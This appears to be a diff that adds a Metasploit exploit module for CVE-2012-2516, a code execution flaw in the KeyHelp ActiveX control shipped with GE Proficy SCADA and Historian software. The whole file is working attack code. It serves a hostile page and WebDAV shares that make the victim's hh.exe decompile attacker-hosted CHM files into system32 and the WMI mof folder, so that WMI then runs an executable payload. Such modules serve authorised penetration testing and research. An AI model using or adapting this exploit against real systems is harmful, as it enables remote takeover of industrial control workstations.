|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpServer::HTML |
| 14 | + include Msf::Exploit::EXE |
| 15 | + include Msf::Exploit::WbemExec |
| 16 | + |
| 17 | + include Msf::Exploit::Remote::BrowserAutopwn |
| 18 | + autopwn_info({ |
| 19 | + :os_name => OperatingSystems::WINDOWS, |
| 20 | + :ua_name => HttpClients::IE, |
| 21 | + :javascript => true, |
| 22 | + :rank => NormalRanking, |
| 23 | + :classid => "{45E66957-2932-432A-A156-31503DF0A681}", |
| 24 | + :method => "LaunchTriPane", |
| 25 | + }) |
| 26 | + |
| 27 | + def initialize(info = {}) |
| 28 | + super(update_info(info, |
| 29 | + 'Name' => 'KeyHelp ActiveX LaunchTriPane Remote Code Execution Vulnerability', |
| 30 | + 'Description' => %q{ |
| 31 | + This module exploits a code execution vulnerability in the KeyScript ActiveX |
| 32 | + control from the keyhelp.ocx, as installed with several products or GE, such as |
| 33 | + Proficy Historian 4.5, 4.0, 3.5, and 3.1, Proficy HMI/SCADA 5.1 and 5.0, Proficy |
| 34 | + Pulse 1.0, Proficy Batch Execution 5.6, and SI7 I/O Driver between 7.20 and 7.42. |
| 35 | + When the control is installed with these products, the function "LaunchTriPane" |
| 36 | + will use ShellExecute to launch "hh.exe", with user controlled data as parameters. |
| 37 | + Because of this, the "-decompile" option can be abused to write arbitrary files on |
| 38 | + the remote system. |
| 39 | +
|
| 40 | + Code execution can be achieved by first uploading the payload to the remote |
| 41 | + machine, and then upload another mof file, which enables Windows Management |
| 42 | + Instrumentation service to execute it. Please note that this module currently only |
| 43 | + works for Windows before Vista. |
| 44 | +
|
| 45 | + On the other hand, the target host must have the WebClient service (WebDAV |
| 46 | + Mini-Redirector) enabled. It is enabled and automatically started by default on |
| 47 | + Windows XP SP3 |
| 48 | + }, |
| 49 | + 'Author' => |
| 50 | + [ |
| 51 | + 'rgod <rgod[at]autistici.org>', # Vulnerability discovery |
| 52 | + 'juan vazquez' # Metasploit module |
| 53 | + ], |
| 54 | + 'License' => MSF_LICENSE, |
| 55 | + 'References' => |
| 56 | + [ |
| 57 | + [ 'CVE', '2012-2516' ], |
| 58 | + [ 'OSVDB', '83311' ], |
| 59 | + [ 'BID', '55265' ], |
| 60 | + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-169/' ], |
| 61 | + [ 'URL', 'http://support.ge-ip.com/support/index?page=kbchannel&id=S:KB14863' ] |
| 62 | + ], |
| 63 | + 'DefaultOptions' => |
| 64 | + { |
| 65 | + 'EXITFUNC' => 'process', |
| 66 | + }, |
| 67 | + 'Payload' => |
| 68 | + { |
| 69 | + 'Space' => 2048, |
| 70 | + 'StackAdjustment' => -3500, |
| 71 | + }, |
| 72 | + 'Platform' => 'win', |
| 73 | + 'Targets' => |
| 74 | + [ |
| 75 | + #Windows before Vista because of the WBEM technique |
| 76 | + [ 'Automatic', { } ], |
| 77 | + ], |
| 78 | + 'DisclosureDate' => 'Jun 26 2012', |
| 79 | + 'DefaultTarget' => 0)) |
| 80 | + |
| 81 | + register_options( |
| 82 | + [ |
| 83 | + OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]), |
| 84 | + OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) |
| 85 | + ], self.class) |
| 86 | + end |
| 87 | + |
| 88 | + |
| 89 | + def auto_target(cli, request) |
| 90 | + agent = request.headers['User-Agent'] |
| 91 | + |
| 92 | + ret = nil |
| 93 | + # Check for MSIE and/or WebDAV redirector requests |
| 94 | + if agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/ |
| 95 | + ret = targets[0] |
| 96 | + elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/ |
| 97 | + ret = targets[0] |
| 98 | + elsif agent =~ /MSIE/ |
| 99 | + ret = targets[0] |
| 100 | + else |
| 101 | + print_status("Unknown User-Agent #{agent}") |
| 102 | + end |
| 103 | + |
| 104 | + ret |
| 105 | + end |
| 106 | + |
| 107 | + |
| 108 | + def on_request_uri(cli, request) |
| 109 | + |
| 110 | + mytarget = target |
| 111 | + if target.name == 'Automatic' |
| 112 | + mytarget = auto_target(cli, request) |
| 113 | + if (not mytarget) |
| 114 | + send_not_found(cli) |
| 115 | + return |
| 116 | + end |
| 117 | + end |
| 118 | + |
| 119 | + # If there is no subdirectory in the request, we need to redirect. |
| 120 | + if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//) |
| 121 | + if (request.uri == '/') |
| 122 | + subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/' |
| 123 | + else |
| 124 | + subdir = request.uri + '/' |
| 125 | + end |
| 126 | + print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...") |
| 127 | + send_redirect(cli, subdir) |
| 128 | + return |
| 129 | + end |
| 130 | + |
| 131 | + # dispatch WebDAV requests based on method first |
| 132 | + case request.method |
| 133 | + when 'OPTIONS' |
| 134 | + process_options(cli, request, mytarget) |
| 135 | + |
| 136 | + when 'PROPFIND' |
| 137 | + process_propfind(cli, request, mytarget) |
| 138 | + |
| 139 | + when 'GET' |
| 140 | + process_get(cli, request, mytarget) |
| 141 | + |
| 142 | + when 'PUT' |
| 143 | + print_status("Sending 404 for PUT #{request.uri} ...") |
| 144 | + send_not_found(cli) |
| 145 | + |
| 146 | + else |
| 147 | + print_error("Unexpected request method encountered: #{request.method}") |
| 148 | + |
| 149 | + end |
| 150 | + |
| 151 | + end |
| 152 | + |
| 153 | + |
| 154 | + # |
| 155 | + # GET requests |
| 156 | + # |
| 157 | + def process_get(cli, request, target) |
| 158 | + |
| 159 | + print_status("Responding to GET request #{request.uri}") |
| 160 | + # dispatch based on extension |
| 161 | + if (request.uri =~ /\.chm$/i) |
| 162 | + # |
| 163 | + # CHM requests sent by IE and the WebDav Mini-Redirector |
| 164 | + # |
| 165 | + if request.uri =~ /#{@var_exe_name}/ |
| 166 | + print_status("Sending CHM with payload") |
| 167 | + send_response(cli, @chm_payload, { 'Content-Type' => 'application/octet-stream' }) |
| 168 | + elsif request.uri =~ /#{@var_mof_name}/ |
| 169 | + print_status("Sending CHM with mof") |
| 170 | + send_response(cli, @chm_mof, { 'Content-Type' => 'application/octet-stream' }) |
| 171 | + else |
| 172 | + send_not_found(cli) |
| 173 | + end |
| 174 | + else |
| 175 | + # |
| 176 | + # HTML requests sent by IE and Firefox |
| 177 | + # |
| 178 | + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] |
| 179 | + path = request.uri.gsub(/\//, '\\\\\\') |
| 180 | + payload_unc = '\\\\\\\\' + my_host + path + @var_exe_name + '.chm' |
| 181 | + mof_unc = '\\\\\\\\' + my_host + path + @var_mof_name + '.chm' |
| 182 | + print_status("Using #{payload_unc} for payload...") |
| 183 | + print_status("Using #{mof_unc} for the mof file...") |
| 184 | + |
| 185 | + html = <<-HTML |
| 186 | + <html> |
| 187 | + <body> |
| 188 | + <script> |
| 189 | + KeyScript = new ActiveXObject("KeyHelp.KeyScript"); |
| 190 | +
|
| 191 | + ChmPayloadFile = "-decompile C:\\\\WINDOWS\\\\system32\\\\ #{payload_unc}"; |
| 192 | + ChmMofFile = "-decompile c:\\\\WINDOWS\\\\system32\\\\wbem\\\\mof\\\\ #{mof_unc}"; |
| 193 | +
|
| 194 | + KeyScript.LaunchTriPane(ChmPayloadFile); |
| 195 | + setTimeout('KeyScript.LaunchTriPane(ChmMofFile);',3000); |
| 196 | + </script> |
| 197 | + </body> |
| 198 | + </html> |
| 199 | + HTML |
| 200 | + |
| 201 | + html.gsub!(/\t\t\t/, '') |
| 202 | + |
| 203 | + print_status("Sending HTML page") |
| 204 | + send_response(cli, html) |
| 205 | + |
| 206 | + end |
| 207 | + end |
| 208 | + |
| 209 | + |
| 210 | + # |
| 211 | + # OPTIONS requests sent by the WebDav Mini-Redirector |
| 212 | + # |
| 213 | + def process_options(cli, request, target) |
| 214 | + print_status("Responding to WebDAV OPTIONS request") |
| 215 | + headers = { |
| 216 | + #'DASL' => '<DAV:sql>', |
| 217 | + #'DAV' => '1, 2', |
| 218 | + 'Allow' => 'OPTIONS, GET, PROPFIND', |
| 219 | + 'Public' => 'OPTIONS, GET, PROPFIND' |
| 220 | + } |
| 221 | + send_response(cli, '', headers) |
| 222 | + end |
| 223 | + |
| 224 | + |
| 225 | + # |
| 226 | + # PROPFIND requests sent by the WebDav Mini-Redirector |
| 227 | + # |
| 228 | + def process_propfind(cli, request, target) |
| 229 | + path = request.uri |
| 230 | + print_status("Received WebDAV PROPFIND request") |
| 231 | + body = '' |
| 232 | + |
| 233 | + if (path =~ /\.chm/i) |
| 234 | + print_status("Sending CHM multistatus for #{path} ...") |
| 235 | + body = %Q|<?xml version="1.0"?> |
| 236 | +<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:"> |
| 237 | +<a:response> |
| 238 | +</a:response> |
| 239 | +</a:multistatus> |
| 240 | +| |
| 241 | + elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i) |
| 242 | + print_status("Sending 404 for #{path} ...") |
| 243 | + send_not_found(cli) |
| 244 | + return |
| 245 | + |
| 246 | + elsif (path =~ /\/$/) or (not path.sub('/', '').index('/')) |
| 247 | + # Response for anything else (generally just /) |
| 248 | + print_status("Sending directory multistatus for #{path} ...") |
| 249 | + body = %Q|<?xml version="1.0" encoding="utf-8"?> |
| 250 | +<D:multistatus xmlns:D="DAV:"> |
| 251 | +<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> |
| 252 | +<D:href>#{path}</D:href> |
| 253 | +<D:propstat> |
| 254 | +<D:prop> |
| 255 | +<lp1:resourcetype><D:collection/></lp1:resourcetype> |
| 256 | +<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate> |
| 257 | +<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified> |
| 258 | +<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag> |
| 259 | +<D:lockdiscovery/> |
| 260 | +<D:getcontenttype>httpd/unix-directory</D:getcontenttype> |
| 261 | +</D:prop> |
| 262 | +<D:status>HTTP/1.1 200 OK</D:status> |
| 263 | +</D:propstat> |
| 264 | +</D:response> |
| 265 | +</D:multistatus> |
| 266 | +| |
| 267 | + |
| 268 | + else |
| 269 | + print_status("Sending 404 for #{path} ...") |
| 270 | + send_not_found(cli) |
| 271 | + return |
| 272 | + |
| 273 | + end |
| 274 | + |
| 275 | + # send the response |
| 276 | + resp = create_response(207, "Multi-Status") |
| 277 | + resp.body = body |
| 278 | + resp['Content-Type'] = 'text/xml' |
| 279 | + cli.send_response(resp) |
| 280 | + end |
| 281 | + |
| 282 | + def generate_payload_chm(data) |
| 283 | + path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2012-2516", "template_payload.chm") |
| 284 | + fd = File.open(path, "rb") |
| 285 | + chm = fd.read(fd.stat.size) |
| 286 | + fd.close |
| 287 | + chm << data |
| 288 | + chm |
| 289 | + end |
| 290 | + |
| 291 | + def generate_mof_chm(data) |
| 292 | + path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2012-2516", "template_mof.chm") |
| 293 | + fd = File.open(path, "rb") |
| 294 | + chm = fd.read(fd.stat.size) |
| 295 | + fd.close |
| 296 | + chm << data |
| 297 | + chm |
| 298 | + end |
| 299 | + |
| 300 | + # |
| 301 | + # When exploit is called, generate the chm contents |
| 302 | + # |
| 303 | + def exploit |
| 304 | + if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' |
| 305 | + fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') |
| 306 | + end |
| 307 | + |
| 308 | + @var_mof_name = rand_text_alpha(7) |
| 309 | + @var_exe_name = rand_text_alpha(7) |
| 310 | + payload_contents = generate_payload_exe |
| 311 | + mof_contents = generate_mof("msfmsf.mof", "msfmsf.exe") |
| 312 | + @chm_payload = generate_payload_chm(payload_contents) |
| 313 | + @chm_mof = generate_mof_chm(mof_contents) |
| 314 | + |
| 315 | + super |
| 316 | + end |
| 317 | + |
| 318 | +end |
0 commit comments